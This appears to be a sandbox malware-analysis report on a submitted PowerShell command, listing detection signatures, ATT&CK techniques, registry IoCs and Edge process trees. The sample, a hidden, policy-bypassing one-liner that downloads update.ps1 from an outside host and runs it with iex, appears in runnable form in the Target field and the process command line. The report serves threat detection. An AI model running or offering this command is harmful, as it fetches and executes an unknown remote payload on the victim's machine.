hxxp://C[:]\WINDOWS\system32\WindowsPowerShell\v1[.]0\PowerShell[.]exe' -w h -ep bypass -c 'iex((iwr hxxps[://]tin[.]tokyo77hit[.]com/update[.]ps1 -UseBasicParsing -UserAgent Mozilla/5[.]0 (Windows NT 10[.]0; Win64; x64) AppleWebKit/537[.]36 Safari/537[.]36 Edg/144[.]0[.]0[.]0)[.]Content)

Analysis

user interaction
yes
max time kernel
598s
max time network
543s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/08/2026, 04:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe' -w h -ep bypass -c 'iex((iwr hxxps://tin.tokyo77hit.com/update.ps1 -UseBasicParsing -UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0).Content)
Sample260824-exvlyssgra

Score

3^/10

discovery

Malware Config

Signatures

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3736	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134320187931080160"	msedge.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-204488895-2999877624-296153668-1000\{4DBED2E2-93ED-42DC-AEB4-C9280A77A155}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
8	PowerShell_ISE.exe
8	PowerShell_ISE.exe
8	PowerShell_ISE.exe
5348	msedge.exe
5348	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	8	PowerShell_ISE.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 4860 wrote to memory of 4744	4860	msedge.exe	87
PID 4860 wrote to memory of 3736	4860	msedge.exe	88
PID 4860 wrote to memory of 3640	4860	msedge.exe	89
PID 4860 wrote to memory of 3640	4860	msedge.exe	89
PID 4860 wrote to memory of 3640	4860	msedge.exe	89
PID 4860 wrote to memory of 3540	4860	msedge.exe	90
PID 4860 wrote to memory of 3540	4860	msedge.exe	90
PID 4860 wrote to memory of 2060	4860	msedge.exe	92
PID 4860 wrote to memory of 2060	4860	msedge.exe	92
PID 4860 wrote to memory of 2060	4860	msedge.exe	92
PID 4860 wrote to memory of 3004	4860	msedge.exe	93
PID 4860 wrote to memory of 3004	4860	msedge.exe	93
PID 4860 wrote to memory of 3004	4860	msedge.exe	93
PID 4860 wrote to memory of 560	4860	msedge.exe	94
PID 4860 wrote to memory of 560	4860	msedge.exe	94
PID 4860 wrote to memory of 560	4860	msedge.exe	94
PID 4860 wrote to memory of 3496	4860	msedge.exe	95
PID 4860 wrote to memory of 3496	4860	msedge.exe	95
PID 4860 wrote to memory of 3496	4860	msedge.exe	95
PID 4860 wrote to memory of 4160	4860	msedge.exe	99
PID 4860 wrote to memory of 4160	4860	msedge.exe	99
PID 4860 wrote to memory of 4160	4860	msedge.exe	99
PID 4860 wrote to memory of 4760	4860	msedge.exe	100
PID 4860 wrote to memory of 4924	4860	msedge.exe	101
PID 4860 wrote to memory of 4760	4860	msedge.exe	100
PID 4860 wrote to memory of 4924	4860	msedge.exe	101
PID 4860 wrote to memory of 4336	4860	msedge.exe	103
PID 4860 wrote to memory of 2432	4860	msedge.exe	104
PID 4860 wrote to memory of 2432	4860	msedge.exe	104
PID 4860 wrote to memory of 2432	4860	msedge.exe	104
PID 4860 wrote to memory of 4020	4860	msedge.exe	117
PID 4860 wrote to memory of 4020	4860	msedge.exe	117
PID 4860 wrote to memory of 4020	4860	msedge.exe	117
PID 5388 wrote to memory of 5460	5388	msedge.exe	122
PID 4860 wrote to memory of 5460	4860	msedge.exe	131
PID 4860 wrote to memory of 5508	4860	msedge.exe	132
PID 4860 wrote to memory of 5512	4860	msedge.exe	133
PID 4860 wrote to memory of 2972	4860	msedge.exe	135
PID 4860 wrote to memory of 2972	4860	msedge.exe	135
PID 4860 wrote to memory of 2972	4860	msedge.exe	135
PID 4860 wrote to memory of 5740	4860	msedge.exe	137
PID 4860 wrote to memory of 5740	4860	msedge.exe	137
PID 4860 wrote to memory of 4236	4860	msedge.exe	142
PID 4860 wrote to memory of 4236	4860	msedge.exe	142
PID 4860 wrote to memory of 4236	4860	msedge.exe	142
PID 4860 wrote to memory of 724	4860	msedge.exe	144
PID 4860 wrote to memory of 724	4860	msedge.exe	144
PID 4860 wrote to memory of 5348	4860	msedge.exe	146
PID 4860 wrote to memory of 5860	4860	msedge.exe	147
PID 4860 wrote to memory of 5860	4860	msedge.exe	147
PID 4860 wrote to memory of 6008	4860	msedge.exe	148
PID 4860 wrote to memory of 6008	4860	msedge.exe	148
PID 4860 wrote to memory of 6084	4860	msedge.exe	149
PID 4860 wrote to memory of 6084	4860	msedge.exe	149
PID 4860 wrote to memory of 1036	4860	msedge.exe	150
PID 4860 wrote to memory of 1036	4860	msedge.exe	150
PID 4860 wrote to memory of 3696	4860	msedge.exe	151
PID 4860 wrote to memory of 3696	4860	msedge.exe	151
PID 4860 wrote to memory of 3696	4860	msedge.exe	151

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe' -w h -ep bypass -c 'iex((iwr hxxps://tin.tokyo77hit.com/update.ps1 -UseBasicParsing -UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0).Content)
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x248,0x7ff86e4ac188,0x7ff86e4ac194,0x7ff86e4ac1a0
  2⤵
  PID:4744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1764,i,7220592772762058877,13958962547678602148,524288 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=2428 /prefetch:3
  2⤵
  - System Time Discovery
  PID:3736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1660,i,12828434322157613406,7545689048188609361,262144 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:2
  2⤵
  PID:3640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2464,i,17687309524628217879,6733195214800316965,524288 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=2596 /prefetch:8
  2⤵
  PID:3540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3420,i,1672276270592297396,15063811053609838875,2097152 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=3492 /prefetch:1
  2⤵
  PID:2060
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3424,i,2990206042413340473,13728417181955787901,2097152 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=3496 /prefetch:1
  2⤵
  PID:3004
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4236,i,9711645095583445455,13196430067822268102,2097152 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:1
  2⤵
  PID:560
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4280,i,16950166235857991441,4284035035444624154,2097152 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=4372 /prefetch:2
  2⤵
  PID:3496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5056,i,2684858894468566321,17947863929542497388,2097152 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:1
  2⤵
  PID:4160
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3496,i,16863989544261880743,880872964264612724,524288 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:8
  2⤵
  PID:4760
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3536,i,4715858757126840813,9297296083246841136,524288 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=5348 /prefetch:8
  2⤵
  PID:4924
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5876,i,821988406084275534,6094810929296448788,524288 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=5904 /prefetch:8
  2⤵
  PID:2704
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5876,i,821988406084275534,6094810929296448788,524288 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=5904 /prefetch:8
  2⤵
  PID:4336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5984,i,15942946943630469261,14694670113283763077,2097152 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=116 /prefetch:1
  2⤵
  PID:2432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=5048,i,14182261483548570425,400706135552106005,2097152 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:1
  2⤵
  PID:4020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4464,i,17058840368704199217,17000887766771855837,524288 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=4428 /prefetch:8
  2⤵
  PID:5460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4416,i,11071037341164710646,4110151852501781849,524288 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=5996 /prefetch:8
  2⤵
  PID:5508
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4452,i,4498272409892701132,13325653903302469373,524288 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=6272 /prefetch:8
  2⤵
  PID:5512
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=3512,i,10263328818044540120,3796575166274855311,2097152 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:1
  2⤵
  PID:2972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5560,i,11221952318417437247,8970469875765624724,524288 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=5992 /prefetch:8
  2⤵
  PID:5740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=5960,i,14071225354148960546,145781065606456198,2097152 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=5056 /prefetch:1
  2⤵
  PID:4236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6092,i,17984887608847233110,10403726025489885312,524288 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=4440 /prefetch:8
  2⤵
  PID:724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6536,i,8052107044994321417,6919142387045548958,262144 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=6044 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6552,i,12222157767718347819,62132533189753983,524288 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=3632 /prefetch:8
  2⤵
  PID:5860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4448,i,15755455988284396443,13163191122972021868,524288 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=6512 /prefetch:8
  2⤵
  PID:6008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4440,i,10004346915461381651,10501537379504407565,524288 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=5440 /prefetch:8
  2⤵
  PID:6084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5432,i,1845856824359717489,14127663075251595383,524288 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=3448 /prefetch:8
  2⤵
  PID:1036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=3408,i,2997164405336504525,18409643511828323388,2097152 --field-trial-handle=2332,i,10298217251141616920,14926131761264945942,262144 --variations-seed-version --mojo-platform-channel-handle=6512 /prefetch:1
  2⤵
  PID:3696

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3800

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --default-search-provider=? --out-pipe-name=MSEdgeDefault2d1d7c7eh4eddh43aeh9222hde92b275f339
1⤵
- Suspicious use of WriteProcessMemory
PID:5388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --default-search-provider=? --out-pipe-name=MSEdgeDefault2d1d7c7eh4eddh43aeh9222hde92b275f339 --edge-skip-compat-layer-relaunch
  2⤵
  PID:5460

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:5868

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:5948

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell_ISE.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell_ISE.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:8

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
